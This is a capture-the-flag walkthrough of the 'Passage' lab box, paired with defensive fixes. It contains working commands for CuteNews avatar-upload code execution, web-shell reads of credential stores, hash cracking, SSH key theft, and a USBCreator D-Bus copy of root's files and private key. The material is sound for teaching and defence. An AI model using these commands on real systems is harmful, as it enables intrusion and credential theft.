← all walkthroughs

Passage

Linux· Medium· Web
owned
2026-07-09
time to own
26m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted a CuteNews 2.1.2 web application on the target's Apache server and exploited a known unauthenticated avatar file-upload flaw (CVE-2019-11447) to execute code as the web service account. From that foothold I read CuteNews's flat-file credential store, extracted unsalted SHA-256 password hashes, and cracked local user paul's password offline in seconds.

Because external SSH access to paul was blocked by network filtering, I drove a terminal-wrapped 'su' command through the existing web shell to reach paul's session and capture the user flag. Paul's unpassphrase-protected SSH private key was then read through the same channel; that key was trusted by a second local account, nadav, via an authorized_keys entry.

Loopback SSH with the stolen key gave a shell as nadav, who is a member of the sudo group. Ubuntu's USBCreator D-Bus polkit policy grants sudo-group members the right to copy arbitrary files as root without a password prompt; I called that method to copy /root/root.txt to a world-readable path, achieving full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for paul>"

Some commands also carry a value in angle brackets — <user> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration and CMS version fingerprinting
Mapped open services and identified CuteNews 2.1.2 on the web server
A port scan confirmed SSH on 22 and HTTP on 80. The bare IP returned an empty body; the server required the virtual hostname 'passage.htb' as a Host header before serving content. Once that header was supplied, the /CuteNews/ path was immediately visible. Response headers included a CUTENEWS_SESSION cookie, and page content confirmed version 2.1.2 — publicly known to be vulnerable to unauthenticated remote code execution via avatar upload (CVE-2019-11447, ExploitDB 48800).
Nmap: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu, 80/tcp open http; CUTENEWS_SESSION header confirmed CuteNews 2.1.2.
Exact commands 3
shell

Identify open services and banners.

$ nmap -Pn -p22,80 -sV --script=http-title,http-server-header $TARGET
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http
shell

Register the required virtual hostname for all subsequent requests.

$ echo "$TARGET passage.htb" | sudo tee -a /etc/hosts
shell

The page prints the product and its version; the headers alone do not.

$ curl -sS -H 'Host: passage.htb' http://$TARGET/CuteNews/ | grep -iEo 'cutenews[^<]{0,20}|version[^<]{0,20}'
2ExploitationUnrestricted File Upload leading to Remote Code Execution (CVE-2019-11447 / CWE-434)
Achieved remote code execution via the CuteNews avatar file-upload flaw (CVE-2019-11447)
CuteNews 2.1.2 allows any registered user to upload a profile avatar and checks only the first few bytes of the file for an image magic-byte prefix — it does not strip or validate the file extension. By registering a throwaway account, prepending the GIF magic bytes ('GIF8;') to a PHP web shell, and uploading the file with a .php extension, I caused the server to store the file under /CuteNews/uploads/ with its original extension intact. Requesting that path caused Apache's PHP handler to execute the embedded code as the www-data process owner, yielding an interactive command-execution channel.
Exact commands 3
shell

The public proof of concept for CuteNews 2.1.2: it registers an account, uploads an avatar, and calls what it wrote.

$ searchsploit -m 48800
shell

It self-registers, posts a GIF-headed PHP file as the avatar — the check reads the magic bytes and not the extension — and prints the path it can be called at.

$ python3 48800.py http://passage.htb/CuteNews
shell

Uid=33(www-data). Replace <user> with the account the exploit registered.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=id' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
FixPatch or replace CuteNews 2.1.2 and block script execution in the uploads directoryCritical
WeaknessCuteNews 2.1.2 validates avatar uploads by checking for image magic bytes only, without stripping or blocking executable extensions. Any registered user — including a self-registered an unauthorised user — can upload a PHP file disguised as an image and execute it through Apache, obtaining a web shell.
FixRemove CuteNews 2.1.2 and migrate to an actively maintained CMS. If immediate replacement is not possible: (1) disable self-registration; (2) configure Apache or Nginx to deny execution of all scripts inside the uploads directory (Options -ExecCGI, php_flag engine off, or a deny-all .htaccess); (3) validate uploads by magic bytes with finfo_file() or getimagesize(), not by MIME header or extension alone; (4) store uploaded files with randomised names and no executable extension.
3Credential AccessApplication credential store dumping and offline hash cracking (T1003 / T1110.002)
Read the CuteNews flat-file credential store and cracked paul's password offline
CuteNews keeps its users in a flat file rather than a database, and the file is a list of base64 blobs, each decoding to a PHP-serialised record with a username, an email and a SHA-256 hash. Nothing in it is encrypted; the encoding is storage, not protection. Unsalted SHA-256 is what makes the rest quick: the hash of a wordlist entry is the same on every machine in the world, so this is a lookup rather than a crack.
Admin sha256=<withheld>; hashcat mode 1400 recovered the password for paul-coles.
Exact commands 4
shell

The store, as served. Each line is one account, base64-encoded.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /var/www/html/CuteNews/cdata/users/lines' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php" > lines.b64
shell

Decode first, then take the hashes. Grepping the encoded file finds nothing, because the hex is not hex until it is decoded.

$ while read -r line; do printf '%s' "$line" | base64 -d; echo; done < lines.b64 | tee users.txt | grep -oE '[a-f0-9]{64}' | sort -u > hashes.txt
shell

Mode 1400 is raw SHA-256. Unsalted, so rockyou answers in seconds.

$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force
shell

Which recovered plaintext belongs to which account.

$ grep -o 'paul[^"]*' users.txt | head -3 && hashcat -m 1400 --show hashes.txt
FixReplace unsalted SHA-256 password storage with a modern adaptive hash and enforce cross-service password uniquenessHigh
WeaknessCuteNews stored account passwords as unsalted SHA-256 hashes in a flat file readable by the web process. Unsalted fast hashes are trivially reversed against standard wordlists with commodity hardware in seconds. The same plaintext password was also set as the user's Linux OS credential, turning a web-application breach into full OS account takeover.
FixConfigure CuteNews (or its replacement) to hash passwords with bcrypt, scrypt, or Argon2id — algorithms that are salted by design and deliberately slow to evaluate, making offline cracking infeasible after a credential-store leak. Enforce an organisational policy prohibiting reuse of web-application passwords as OS or service-account credentials. Restrict the CuteNews data directory so that the web process has read access only to what it strictly requires.
4Lateral MovementIn-session privilege switch via OS credentials (T1078.003)
Switched to paul's Linux account through the web shell using a pseudo-terminal wrapper
Direct SSH to paul from my network was blocked — repeated nmap probes showed port 22 filtered externally. Instead, I drove 'su - paul' through the existing www-data web shell. The su utility refuses to run unless it is connected to a real terminal, so a plain pipe fails with 'must be run from a terminal'. The workaround is to wrap the command in 'script -q /dev/null -c ...' to allocate a pseudo-tty, and to introduce a one-second delay before piping the password to survive the su authentication timing window. This yielded command execution as paul and allowed reading the user flag at /home/paul/user.txt.
The pty-wrapped su invocation returned uid=1000(paul) and the contents of /home/paul/user.txt.
Exact commands 1
shell

Drives su through the web shell with a pty wrapper. Returns uid=1000(paul) and <user.txt>.

$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=(sleep 1; printf '$PASSWORD\n') | script -q /dev/null -c \"su - paul -c 'id; cat /home/paul/user.txt'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
5Lateral MovementSSH private key theft and cross-account lateral movement (T1552.004 / T1021.004)
Stole paul's unprotected SSH private key and authenticated as nadav over the loopback interface
Paul's home holds an RSA private key with no passphrase, and nadav's authorized_keys holds paul's public key — a trust between two local accounts that needs no password in either direction. Port 22 is filtered from outside, so this is not a login I can make from my own machine; it is one paul can make to the loopback, which the filter does not see. The hop happens entirely on the target, through the shell already held.
From paul's session on the target, ssh -i /home/paul/.ssh/id_rsa nadav@127.0.0.1 authenticated without a password, and nadav's authorized_keys carried paul's public key.
Exact commands 2
shell

Through the web shell. The key authorised for nadav is paul's, which is the whole finding.

$ curl -sS -H 'Host: passage.htb' --data-urlencode 'cmd=cat /home/nadav/.ssh/authorized_keys' "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
shell

One request, three nested shells: the web shell runs script to give su a terminal, su becomes paul, and paul's ssh reaches the loopback — which the external filter on 22 does not touch.

$ curl -sS -H 'Host: passage.htb' --data-urlencode "cmd=printf '%s\\n' '$PASSWORD' | script -q /dev/null -c \"su - paul -c 'ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1 id'\"" "http://$TARGET/CuteNews/uploads/avatar_<user>_shell.php"
FixRemove cross-account SSH key trust and protect all private keys with passphrasesHigh
WeaknessPaul's SSH private key was stored without a passphrase, and nadav's authorized_keys file unconditionally trusted paul's public key. A single file read through the web shell was sufficient for lateral movement between the two accounts — no separate credential or user interaction was required.
FixAudit every authorized_keys file on the system and remove entries that grant one local user account SSH access to another unless there is a documented, approved requirement. Protect all private keys with strong passphrases (ssh-keygen -p). Consider deploying an OpenSSH certificate authority so that trust relationships are centrally controlled and expiring, rather than accumulating silently in individual authorized_keys files.
6Privilege EscalationUSBCreator D-Bus polkit bypass for arbitrary file copy as root (T1548 / CWE-269)
Used the USBCreator D-Bus service to copy root-owned files without a password
Nadav is in the sudo group, and on Ubuntu that means more than sudo: polkit reads group membership too, and one of the actions it grants that group without a password belongs to USBCreator. The method is called Image, it takes a source path and a destination path, and it runs as root — which makes it a root-privileged copy of any file on the system, offered over the system bus to a user who was never meant to read those files. Nothing needs to be exploited. The interface does exactly what it says, for an account that should not have been allowed to ask.
From nadav's session, gdbus called com.ubuntu.USBCreator's Image method with /root/root.txt as the source and a path in /tmp as the destination; the copy succeeded and the flag was readable there.
Exact commands 5
shell

Run from paul's shell on the target, as the step before. Everything below is typed in the session it opens.

$ ssh -o StrictHostKeyChecking=no -i /home/paul/.ssh/id_rsa nadav@127.0.0.1
shell

Which system-bus actions a sudo-group member may call, and with what authentication.

$ id && grep -rl 'unix-group:sudo' /usr/share/polkit-1/actions/ /etc/polkit-1/ 2>/dev/null
shell

Source, destination, and a boolean that says overwrite. No prompt, because polkit already said yes.

$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/root.txt true
shell

-> <root.txt>

$ cat /tmp/root.txt
shell

$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true && cat /tmp/rootkey
FixRemove the USBCreator service or tighten its polkit policy to require authenticated authorisationCritical
WeaknessUbuntu's polkit policy for the USBCreator D-Bus interface allowed any member of the sudo group to copy arbitrary files as root without entering a password. Any account with sudo-group membership could read or overwrite any file on the system, including /root/root.txt, /etc/shadow, and /etc/sudoers.
FixIf the USBCreator graphical tool is not required on this server (it is a desktop utility with no server use case), remove it: 'apt remove usb-creator-common'. If it must remain: apply all pending Ubuntu security updates (the polkit policy was tightened in later releases); modify /usr/share/polkit-1/actions/com.ubuntu.usbcreator.policy to require 'auth_admin' rather than passive group membership; and apply the principle of least privilege by removing non-administrative users from the sudo group unless they specifically require it.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp